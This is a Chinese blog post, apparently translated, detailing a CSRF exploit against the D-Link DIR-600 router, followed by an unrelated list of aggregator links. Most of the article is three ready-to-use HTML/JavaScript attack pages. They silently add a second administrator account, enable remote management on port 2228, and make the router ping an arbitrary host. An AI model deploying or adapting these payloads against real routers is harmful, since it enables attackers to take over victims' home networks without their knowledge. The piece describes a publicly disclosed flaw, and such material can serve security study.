D-link路由器CSRF漏洞利用详解

标签: Web应用漏洞 csrf csrf漏洞 D-link CSRF漏洞 渗透测试 | 发表时间:2014-01-22 15:24 | 作者:admin
出处:http://www.nxadmin.com

1,介绍

本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例。

D-link的CSRF漏洞已经是公开的,本文将详细描述一下整个D-link CSRF漏洞的利用,如何通过CSRF漏洞实现远程管理访问D-link路由器。

2,CSRF漏洞说明

如果某些request请求中没有csrf  token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求。

通过D-link 管理面板的CSRF漏洞,攻击者可以做以下操作:

@1,添加一个新的管理帐号;

@2,启用路由器的远程管理;

@3,ping特定的机器;此操作只需要登录路由器就可以实现,需要知道路由器的WAN IP地址。

3,PART1:给路由器增加一个新的管理帐号

需要两个request请求来完成

REQUEST1:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
  	xhr.withCredentials = "true";
        var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
"
<postxml>"+
  "<module>"+
    "<service>DEVICE.ACCOUNT</service>"+
    "<device>"+
      "<account>"+
        "<seqno/>"+
        "<max>1</max>"+
        "<count>2</count>"+
        "<entry>"+
          "<name>admin</name>"+
          "
<password>==OoXxGgYy==</password>"+
          "<group>0</group>"+
          "<description/>"+
        "</entry>"+
        "<entry>"+
          "<name>admin2</name>"+
          "
<password>pass2</password>"+
          "<group>0</group>"+
          "<description/>"+
        "</entry>"+
      "</account>"+
      "<session>"+
        "<captcha>0</captcha>"+
        "<dummy/>"+
        "<timeout>180</timeout>"+
        "<maxsession>128</maxsession>"+
        "<maxauthorized>16</maxauthorized>"+
      "</session>"+
    "</device>"+
  "</module>"+
  "<module>"+
    "<service>HTTP.WAN-1</service>"+
    "<inf>"+
      "<web>2228</web>"+
      "<weballow>"+
        "<hostv4ip/>"+
      "</weballow>"+
    "</inf>"+
  "</module>"+
  "<module>"+
    "<service>HTTP.WAN-2</service>"+
    "<inf>"+
      "<web>2228</web>"+
      "<weballow>"+
        "<hostv4ip/>"+
      "</weballow>"+
    "</inf>"+
  "</module>"+
"</postxml>";
        xhr.send(body);
      }
    </script>
<form action="#">
      <input type="button" value="Submit request1" onclick="submitRequest();" />
    </form>
  </body>
</html>

REQUEST2:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
  	xhr.withCredentials = "true";
        var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
        xhr.send(body);
      }
    </script>
<form action="#">
      <input type="button" value="Submit request2" onclick="submitRequest();" />
    </form>
  </body>
</html>

REQUEST1和REQUEST2中,默认的路由局域网IP地址是192.198.0.1,管理帐号是admin,REQUEST1中的request请求中,当密码字段为==OoXxGgYy==的时候,是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加,同时启用了远程管理端口2228.

PART2:ping特定的主机

REQUEST3:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
  	xhr.withCredentials = "true";
        var body = "act=ping&dst=X.Y.Z.W";
        xhr.send(body);
      }
    </script>
<form action="#">
      <input type="button" value="Submit request3" onclick="submitRequest();" />
    </form>
  </body>
</html>

只需要求该代码中的X.Y.Z.W为你需要ping的主机IP地址就可以。

本文由阿德马童鞋翻译自国外网站,转载请注明出处~

 

 

相关 [link 路由器 csrf] 推荐:

D-link路由器CSRF漏洞利用详解

- - 牛X阿德马
本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例. D-link的CSRF漏洞已经是公开的,本文将详细描述一下整个D-link CSRF漏洞的利用,如何通过CSRF漏洞实现远程管理访问D-link路由器. 如果某些request请求中没有csrf  token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求.

TP-LINK普联TL-WR710N 150M迷你型无线路由器,105元预定

- f41c0n - 什么值得买
TP-LINK不仅“国产化”了Airport Express,而且正在以家族的形式将其发扬光大. 在推出了WR700N(内置电源、无USB、LAN*1)、WR703N(USB供电、USB*1可支持3G、LAN*1)、WR702N(USB供电、无USB、LAN*1)、WR800N(WR700N的300Mbps版)之后,又推出了这款WR710N(内置电源、USB*1、LAN*2).

TP-LINK普联TL-WR703N 150M迷你型3G无线路由器,79元包邮(降20)

- xcv58 - 什么值得买
TP-LINK全新推出的150M迷你型3G无线路由器TL-WR703N,可以轻松将3G网络转为Wi-Fi信号,使没有3G功能的iPad、笔记本电脑以及一部分保有GSM手机号码但正在使用智能手机的用户得以通过Wi-Fi共享3G网络. 只需将3G上网卡插上TL-WR703N的USB接口,Wi-Fi上网就可以变得轻松、自如.

CSRF简介

- - 互联网 - ITeye博客
转自: http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html.   CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF.

对抗 link rot

- - wzyboy’s blog
随着建站变得越来越容易,网页消失似乎也变得更频繁. 作为个人,我们有什么办法可以拯救这些失效的超链接. 几年前我曾经写过一篇有关 link rot 的文章,提到互联网上的各种「永久链接」并没有那么「永久」. 许多个人博客,随着博客平台的倒闭而迁移了几次,里面的内容变得七零八落,最终可能所有文字都 随风而逝了.

浅谈CSRF攻击方式

- - 酷勤网-挖经验 [expanded by feedex.net]
酷勤网 � 程序员的那点事.   CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF.   你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求.

CSRF简单介绍及利用方法

- - lsh4ck
CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的. 根据HTTP请求方式,CSRF利用方式可分为两种. 0x01 GET类型的CSRF. 这种类型的CSRF一般是由于程序员安全意识不强造成的.

CSRF 攻击的应对之道

- - 互联网 - ITeye博客
CSRF 攻击的应对之道. 牛 刚, 软件工程师, IBM. 童 强国, 高级软件工程师, IBM. 简介: CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在并未授权的情况下执行在权限保护之下的操作,有很大的危害性.

防范 CSRF 跨站请求伪造

- - 文章 – 伯乐在线
CSRF(Cross-site request forgery,中文为 跨站请求伪造)是一种利用网站可信用户的权限去执行未授权的命令的一种恶意攻击. 通过 伪装可信用户的请求来利用信任该用户的网站,这种攻击方式虽然不是很流行,但是却难以防范,其危害也不比其他安全漏洞小. 本文将简要介绍CSRF产生的原因以及利用方式,然后对如何避免这种攻击方式提供一些可供参考的方案,希望广大程序猿们都能够对这种攻击方式有所了解,避免自己开发的应用被别人利用.

D-link推出具电力线网络的WiFi基地台

- mgo - Engadget 中国版
D-link这款型号为 "DHP-1320" ,比较特别的地方 "当然它不会Don't Link" 为它同时具有有线(Ethernet)、无线(IEEE 802.11 b/g/n)与电力线网络(HomePlug AV)的连接能力,因为具有多种联机能力,在网络上的建构上是可以多出一些弹性. DHP-1320价格为美金129.99元(人民币约855元),虽然不是热门产品,但这样类型的产品,在架设网络时,你会想到它的,现在你去市场上去买,应该是叫电力猫.